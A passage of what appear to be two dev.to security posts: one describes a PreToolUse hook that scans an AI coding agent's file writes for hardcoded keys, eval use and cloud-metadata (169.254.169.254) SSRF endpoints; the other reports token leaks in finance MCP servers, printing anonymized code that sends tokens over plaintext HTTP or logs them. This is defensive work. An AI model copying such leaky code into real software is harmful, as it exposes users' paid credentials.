&lt;p&gt;Scanning runs through &lt;a href="https://www.npmjs.com/package/correctover-scan" rel="noopener noreferrer"&gt;&lt;code&gt;correctover-scan&lt;/code&gt;&lt;/a&gt;, an open-source npm package invoked via &lt;code&gt;npx&lt;/code&gt; (free tier, no API key). The hook maps scanner output to exit codes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;fail-level finding → exit 2&lt;/strong&gt; (block; reason fed back to the model)&lt;/li&gt;
&lt;li&gt;clean → exit 0&lt;/li&gt;
&lt;li&gt;scanner missing / network down / timeout / quota exhausted → exit 0 with a stderr log (fail-open: a scanner problem never blocks your work)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What it actually flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Code layer (&lt;code&gt;.js/.mjs/.cjs/.ts&lt;/code&gt;)&lt;/strong&gt;: hardcoded live-key patterns (&lt;code&gt;sk-...&lt;/code&gt;), &lt;code&gt;child_process&lt;/code&gt; with &lt;code&gt;shell: true&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt; / &lt;code&gt;Function&lt;/code&gt; / &lt;code&gt;vm&lt;/code&gt; dynamic execution, cloud-metadata/SSRF signals, credentials flowing into env/stdout.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP config layer&lt;/strong&gt;: MCP server URLs without TLS (plaintext &lt;code&gt;http&lt;/code&gt;), internal/cloud-metadata endpoints (&lt;code&gt;169.254.169.254&lt;/code&gt;), plus warn-level gaps — missing timeouts, allowlists, or kill-switch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The nice part is the feedback loop. When a write is blocked, the model reads &lt;em&gt;why&lt;/em&gt; ("hardcoded credential at config.js:12 — move to an environment variable") and usually rewrites the code itself, then retries. The gate turns a latent secret leak into a self-correcting loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  Test matrix: 8 scenarios, all behaving as expected
&lt;/h2&gt;

&lt;p&gt;The repo ships a selftest that fakes Kimi Code's stdin payloads (measured with correctover-scan v1.7.2, Node 22):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th&gt;Scanner result&lt;/th&gt;
&lt;th&gt;Hook exit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;WriteFile&lt;/code&gt; a &lt;code&gt;.js&lt;/code&gt; with a hardcoded &lt;code&gt;sk-live-&lt;/code&gt; key&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;cred-exposure&lt;/code&gt; &lt;strong&gt;FAIL&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2 (block)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;WriteFile&lt;/code&gt; a clean &lt;code&gt;.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no fail&lt;/td&gt;
&lt;td&gt;0 (pass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;WriteFile&lt;/code&gt; an unsafe MCP config (plaintext &lt;code&gt;http&lt;/code&gt; + &lt;code&gt;169.254.169.254&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mcp-tls&lt;/code&gt; + &lt;code&gt;mcp-ssrf&lt;/code&gt; &lt;strong&gt;FAIL&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2 (block)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Shell&lt;/code&gt; plain &lt;code&gt;ls -la&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;not scanned&lt;/td&gt;
&lt;td&gt;0 (pass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;Scanner binary missing (fault injection)&lt;/td&gt;
&lt;td&gt;startup failure&lt;/td&gt;
&lt;td&gt;0 (fail-open)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Shell&lt;/code&gt; &lt;code&gt;mcp add&lt;/code&gt; while a dangerous MCP config sits in the project&lt;/td&gt;
&lt;td&gt;recursive scan, 2 FAIL&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2 (block)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;npm install&lt;/code&gt; with &lt;code&gt;CORRECTOVER_SCAN_INSTALLS=1&lt;/code&gt;, leaky file in repo&lt;/td&gt;
&lt;td&gt;bundle FAIL&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2 (block)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;H&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;npm install&lt;/code&gt; with default config&lt;/td&gt;
&lt;td&gt;not scanned&lt;/td&gt;
&lt;td&gt;0 (pass)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The bundled script covers the five core cases (A–E, expect &lt;strong&gt;5 pass / 0 fail&lt;/strong&gt;); F–H use the install-toggle and are documented in the repo README.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/DSHCorrectover/kimi-code-security-hook
&lt;span class="nb"&gt;cd &lt;/span&gt;kimi-code-security-hook/selftest
bash run-hook-selftest.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or try it in a real session: ask Kimi Code to &lt;em&gt;"add a Stripe key constant &lt;code&gt;sk-live-51q8xPbQmRzNk2vWcY7aHdJfT3uLsE0oXnMp&lt;/code&gt; in src/config.js"&lt;/em&gt; — the write should be blocked and the model should rewrite it to read from an environment variable. (The sample key is a random fake string.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Install
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;As a plugin:&lt;/strong&gt; the repo is a Kimi Code plugin (&lt;code&gt;kimi.plugin.json&lt;/code&gt; at the root) — point your Kimi Code plugin flow at the repository and the two &lt;code&gt;PreToolUse&lt;/code&gt; hooks register automatically. We've also submitted it for the curated plugin marketplace (&lt;a href="https://github.com/MoonshotAI/kimi-code/issues/3534" rel="noopener noreferrer"&gt;MoonshotAI/kimi-code#3534&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Manual install:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.kimi-code/hooks
&lt;span class="nb"&gt;cp &lt;/span&gt;hooks/correctover-hook.mjs ~/.kimi-code/hooks/correctover-hook.mjs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then add to &lt;code&gt;~/.kimi-code/config.toml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[hooks]]&lt;/span&gt;
&lt;span class="py"&gt;event&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"PreToolUse"&lt;/span&gt;
&lt;span class="py"&gt;matcher&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"WriteFile|StrReplaceFile"&lt;/span&gt;
&lt;span class="py"&gt;command&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"node ~/.kimi-code/hooks/correctover-hook.mjs"&lt;/span&gt;
&lt;span class="py"&gt;timeout&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;

&lt;span class="nn"&gt;[[hooks]]&lt;/span&gt;
&lt;span class="py"&gt;event&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"PreToolUse"&lt;/span&gt;
&lt;span class="py"&gt;matcher&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Shell"&lt;/span&gt;
&lt;span class="py"&gt;command&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"node ~/.kimi-code/hooks/correctover-hook.mjs"&lt;/span&gt;
&lt;span class="py"&gt;timeout&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a new session (or &lt;code&gt;/reload&lt;/code&gt;) and check &lt;code&gt;/hooks&lt;/code&gt;. Requires &lt;strong&gt;Node.js 18+&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Environment variables:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CORRECTOVER_SCAN_CMD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npx correctover-scan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Scanner command; point at a local mirror for offline/CI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CORRECTOVER_SCAN_INSTALLS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;1&lt;/code&gt; to bundle-scan the whole project before package installs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CORRECTOVER_SCAN_TIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;120000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Per-scan timeout in ms (fail-open on timeout)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The honest limits
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fail-open by design.&lt;/strong&gt; Scanner missing, network down, timeout, or free-tier quota exhausted → the action proceeds with a stderr log. This is a light gate, not your only control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code scanning covers JS/TS only&lt;/strong&gt; (signal-based, not full type semantics). Python and other languages pass through — wire up a language-appropriate scanner for those.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signal scan, not proof of exploitability.&lt;/strong&gt; Findings locate signals at file+line; reachability and intent need manual review.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hooks are Beta&lt;/strong&gt; in Kimi Code — event names, config format, and tool names may change across versions; re-run the selftest after upgrades. Legacy &lt;code&gt;kimi-cli&lt;/code&gt; (&lt;code&gt;~/.kimi/&lt;/code&gt;) uses different tool names (&lt;code&gt;Bash&lt;/code&gt;); the script tolerates the aliases but matchers may need adjusting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For one-off manual checks without installing anything, there's a zero-upload browser scan at &lt;a href="https://correctover.com/scan.html" rel="noopener noreferrer"&gt;correctover.com/scan.html&lt;/a&gt; — paste code, everything runs locally in the page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters now
&lt;/h2&gt;

&lt;p&gt;Agents are moving from "suggest diffs" to "write files, run commands, wire up MCP servers" — the boundary between generated text and executed action gets thinner every release. Prompt-injection fixes like #2028 harden what the model &lt;em&gt;believes&lt;/em&gt;; &lt;code&gt;PreToolUse&lt;/code&gt; hooks gate what the agent &lt;em&gt;does&lt;/em&gt;. Defense in depth means you want both.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Repo (MIT, issues/PRs welcome): &lt;a href="https://github.com/DSHCorrectover/kimi-code-security-hook" rel="noopener noreferrer"&gt;https://github.com/DSHCorrectover/kimi-code-security-hook&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Scanner on npm: &lt;a href="https://www.npmjs.com/package/correctover-scan" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/correctover-scan&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>aiagents</category>
      <category>javascript</category>
    </item>
    <item>
      <title>We scanned open-source finance MCP servers — here are the four ways API tokens leak</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Fri, 04 Sep 2026 01:52:57 +0000</pubDate>
      <link>https://dev.to/correctover/we-scanned-open-source-finance-mcp-servers-here-are-the-four-ways-api-tokens-leak-4g91</link>
      <guid>https://dev.to/correctover/we-scanned-open-source-finance-mcp-servers-here-are-the-four-ways-api-tokens-leak-4g91</guid>
      <description>&lt;p&gt;In 2026, financial data terminals started shipping MCP interfaces. Data vendors and open-source wrappers now expose market data, fundamentals, and fund flows as MCP tools that any AI client — Claude Code, Cursor, Copilot — can call.&lt;/p&gt;

&lt;p&gt;That is convenient. It also means every one of those MCP servers holds a &lt;strong&gt;paid API token&lt;/strong&gt; in memory: data-vendor tokens, vendor keys, session credentials. Unlike a random weekend project, those tokens carry metered quotas, billing relationships, and often access to non-public data feeds.&lt;/p&gt;

&lt;p&gt;We took seven open-source JS/TS finance MCP servers (npm packages and GitHub repositories) and ran our local static scanner, &lt;code&gt;correctover-scan&lt;/code&gt; v1.7.2, over them. This post describes the four concrete leak patterns we saw, how often they showed up in &lt;strong&gt;published&lt;/strong&gt; code, and the pre-release checklist that catches all of them. No projects or maintainers are named; findings have been privately disclosed to the affected maintainers.&lt;/p&gt;

&lt;h2&gt;
  
  
  How we scanned
&lt;/h2&gt;

&lt;p&gt;The scanner runs entirely locally — the source code never leaves your machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx correctover-scan &lt;span class="nt"&gt;--bundle&lt;/span&gt; ./path/to/mcp-server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For npm packages we ran it against &lt;code&gt;npm pack&lt;/code&gt; tarballs (the exact build users install); for repositories we scanned the checked-out source. The bundle mode parses &lt;code&gt;.js/.mjs/.cjs/.ts&lt;/code&gt; files and runs two layers of checks: a configuration layer (hardcoded secrets, dynamic code execution) and a code layer (plaintext outbound endpoints, credential flow into logs, MCP transport flags). Every machine-generated warning with a file/line was then manually reviewed against the actual source, because some classes of issues — CORS policy and network bind addresses — the scanner only flags indirectly and a human must confirm.&lt;/p&gt;

&lt;p&gt;Honest scope note: all seven targets were JS/TS, the scanner's home turf. The Python fastmcp ecosystem (which includes several popular finance MCPs) was &lt;strong&gt;not&lt;/strong&gt; in scope; the scanner does not parse &lt;code&gt;.py&lt;/code&gt; files yet, and we did not paper over that gap. Closed-source vendor MCPs had no published server source to scan either.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the numbers look like
&lt;/h2&gt;

&lt;p&gt;Of the seven targets, five ship as published npm packages. In two of those five published packages (40%) — two distinct projects — we confirmed at least one of the four token-leak patterns below in the exact artifact users install. One project had three of the patterns; another had two. The other three published packages, plus the two repository-only targets, came back clean on manual review.&lt;/p&gt;

&lt;p&gt;A note on severity labels: the scanner rates hardcoded credentials as &lt;code&gt;fail&lt;/code&gt;, while plaintext HTTP, logging, CORS, and bind issues are rated &lt;code&gt;warn&lt;/code&gt;. That understates them — a token sent over plaintext HTTP is a token disclosure, full stop. We went with manual review, not the score.&lt;/p&gt;

&lt;p&gt;One detail worth flagging for anyone maintaining an MCP: for one project, both of its issues were already fixed on the repository's main branch — but the fixes had never been published to npm. The code your users &lt;code&gt;npx&lt;/code&gt; can lag your own HEAD for months.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pattern 1: The token goes out over plaintext HTTP
&lt;/h2&gt;

&lt;p&gt;The data vendor's endpoint was hardcoded as an &lt;code&gt;http://&lt;/code&gt; URL, and the token rides along in the POST body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// api client in a finance MCP server (anonymized)&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DataClient&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;apiUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://api.marketdata.example&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DATA_TOKEN&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Record&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="na"&gt;api_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;apiName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We saw this in &lt;strong&gt;2 of the 5 published packages (40%)&lt;/strong&gt; — in one case across three separate tool modules, each with its own hardcoded &lt;code&gt;http://&lt;/code&gt; fetch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk:&lt;/strong&gt; anyone positioned on the same network path — coffee-shop Wi-Fi, a shared office VLAN, a compromised hop — reads the bearer token straight off the wire. The token is a paid, quota-bearing credential.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; use &lt;code&gt;https://&lt;/code&gt;. The vendor endpoint supported HTTPS in every case we saw; this was a copy-pasted URL scheme, not an infrastructure constraint. Put the base URL in one config constant so it cannot drift per-file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pattern 2: The token gets logged to stdout
&lt;/h2&gt;

&lt;p&gt;In stdio MCP mode, stdout is the protocol channel — it is captured by the MCP client's log files. One published package logged the &lt;em&gt;entire request object&lt;/em&gt;, token included, right before sending it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// tool module in a published package (anonymized)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiParams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;api_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;balancesheet&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;API_TOKEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;API request params:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;apiParams&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;API_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiParams&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;1 of the 5 published packages (20%)&lt;/strong&gt; did this, in three tool modules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk:&lt;/strong&gt; the token lands in MCP client log files on the developer's disk, in CI logs if the server runs there, and in anything that scrapes the host's stdout. It is the same credential, now duplicated into log storage with different retention and access rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; redact before you log. Log only the business parameters (&lt;code&gt;params.params&lt;/code&gt;), or pass the payload through a small redactor that masks known credential fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;redactToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;***&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
